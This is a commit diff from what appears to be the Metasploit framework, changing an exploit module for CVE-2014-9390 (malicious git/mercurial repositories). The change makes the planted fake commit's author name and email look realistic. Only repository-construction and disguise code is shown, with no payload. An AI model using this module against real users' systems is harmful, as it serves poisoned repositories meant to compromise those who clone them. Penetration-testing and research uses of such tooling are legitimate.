Skip to content

Commit 5104915

Browse files
committed
Use Rex::Text.rand_mail_address for more realistic fake commit
1 parent a692656 commit 5104915

File tree

1 file changed

+7
-10
lines changed

1 file changed

+7
-10
lines changed

modules/exploits/multi/http/cve_2014_9390.rb

Lines changed: 7 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -180,19 +180,16 @@ def setup_git
180180
git_dir = '.' + variants.sample
181181
sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
182182
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
183-
# build the supposed commit that dropped this file
184-
# a random user and user name
185-
user = rand_text_alphanumeric(3 + rand(10)) + ' ' + rand_text_alphanumeric(3 + rand(10))
186-
user_name = user.downcase.gsub(/\s+/, '_')
187-
# random company
188-
company = (rand_text_alphanumeric(3 + rand(10)) + '.' + %w(com net org).sample).downcase
189-
# random commit and author time stamps
183+
# build the supposed commit that dropped this file, which has a random user/company
184+
email = Rex::Text.rand_mail_address
185+
first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
186+
full_name = "#{first.capitalize} #{last.capitalize}"
190187
tstamp = Time.now.to_i
191188
author_time = rand(tstamp)
192189
commit_time = rand(author_time)
193190
tz_off = rand(10)
194-
commit = "author #{user} <#{user_name}@#{company}> #{author_time} -0#{tz_off}00\n" \
195-
"committer #{user} <#{user_name}@#{company}> #{commit_time} -0#{tz_off}00\n" \
191+
commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
192+
"committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
196193
"\n" \
197194
"Initial commit to open git repository for #{company}!\n"
198195
if datastore['VERBOSE']
@@ -226,7 +223,7 @@ def setup_mercurial
226223
fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
227224
@repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
228225
# TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
229-
@repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0'*40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
226+
@repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
230227

231228
# TODO: finish building the fake repository
232229
end

0 commit comments

Comments
 (0)